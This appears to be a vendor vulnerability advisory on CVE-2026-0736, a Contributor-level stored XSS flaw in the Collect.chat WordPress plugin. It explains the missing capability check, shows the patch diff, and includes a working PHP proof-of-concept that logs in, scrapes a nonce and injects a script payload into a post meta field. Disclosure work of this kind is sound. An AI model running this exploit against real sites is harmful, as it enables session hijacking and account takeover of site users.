Atomic Edge analysis of CVE-2026-0736:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Chatbot for WordPress by Collect.chat plugin. The vulnerability affects the plugin’s post meta field handling, allowing Contributor-level users and above to inject malicious scripts that execute when pages are viewed. The CVSS score of 6.4 reflects the authenticated nature and impact on data integrity and user session compromise.
Atomic Edge research identified the root cause as insufficient input sanitization and output escaping for the ‘_inpost_head_script[synth_header_script]’ post meta field. The vulnerable code resides in the collectchat/collect.php file, specifically within the function handling post meta updates. Before patching, the plugin processed user-supplied script content through wp_kses() and wp_kses_post() sanitization functions, but these functions were applied conditionally based on user capabilities. The code failed to enforce capability checks before processing the input, allowing lower-privileged users to submit script content.
Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker would craft a POST request to the WordPress post editing interface, targeting the ‘_inpost_head_script[synth_header_script]’ parameter. The payload would contain JavaScript code, typically within tags or event handlers. Since the vulnerability is stored XSS, the malicious script persists in the post meta database and executes whenever any user views the affected page. Attackers could steal session cookies, perform actions as the victim, or redirect users to malicious sites.
The patch introduces two critical changes. First, it adds a capability check at line 329: ‘if (!current_user_can(‘unfiltered_html’)) return $post_id;’. This prevents users without the unfiltered_html capability from proceeding with script updates. Second, the patch modifies the sanitization logic at lines 388-392, ensuring the sanitized value is properly assigned back to the array ($arr[$i] = …) rather than returning early. This maintains consistent data structure handling while applying appropriate sanitization based on user capabilities.
Successful exploitation enables attackers to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, account takeover, content defacement, or redirection to phishing sites. Since the vulnerability affects stored content, a single injection can impact multiple users over time. The attacker could also perform actions on behalf of authenticated users, potentially escalating privileges or modifying site content.
--- a/collectchat/collect.php
+++ b/collectchat/collect.php
@@ -1,7 +1,7 @@
<?php
/**
* Plugin Name: Collect.chat - Chatbot
- * Version: 2.4.8
+ * Version: 2.4.9
* Plugin URI: https://collect.chat
* Description: Chatbots are the simplest, easiest way to collect leads & data from visitors. Create free chatbot without coding using Collect.chat. Never miss an opportunity by engaging every site visitor.
* Author: Collect.chat Inc.
@@ -326,6 +326,9 @@
}
+ // only users with unfiltered_html capability can save scripts
+ if (!current_user_can('unfiltered_html')) return $post_id;
+
$current_data = get_post_meta($post_id, '_inpost_head_script', true);
$new_data = $_POST['_inpost_head_script'];
@@ -383,9 +386,9 @@
unset($arr[$i]);
} else {
if (current_user_can('unfiltered_html')) {
- $arr[$i] = wp_kses($v, $allowed_html); // Script sanitization for users with the unfiltered_html capability
+ $arr[$i] = wp_kses($v, $allowed_html);
} else {
- return wp_kses_post($v); // Sanitize all content for other users
+ $arr[$i] = wp_kses_post($v);
}
}
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0736 - Chatbot for WordPress by Collect.chat <= 2.4.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Meta Field
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$post_id = 123; // Target post ID
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
// Verify login by checking for admin bar or dashboard
if (strpos($response, 'wp-admin-bar') === false && strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
// Get nonce from post edit page
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit');
$response = curl_exec($ch);
// Extract nonce from the page (simplified pattern - actual implementation may need regex adjustment)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
if (empty($matches[1])) {
die('Could not extract nonce from edit page.');
}
$nonce = $matches[1];
// XSS payload to inject
$xss_payload = '<script>alert("Atomic Edge XSS Test");</script>';
// Prepare POST data with malicious script in the vulnerable parameter
$post_data = [
'post_ID' => $post_id,
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/post.php?post=' . $post_id . '&action=edit',
'action' => 'editpost',
'_inpost_head_script[synth_header_script]' => $xss_payload,
'save' => 'Update'
];
// Submit the update request
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
// Check if update was successful
if (strpos($response, 'Post updated.') !== false || strpos($response, 'Post published.') !== false) {
echo 'XSS payload injected successfully. Visit post ID ' . $post_id . ' to trigger execution.';
} else {
echo 'Payload injection may have failed. Check user permissions and post status.';
}
curl_close($ch);
?>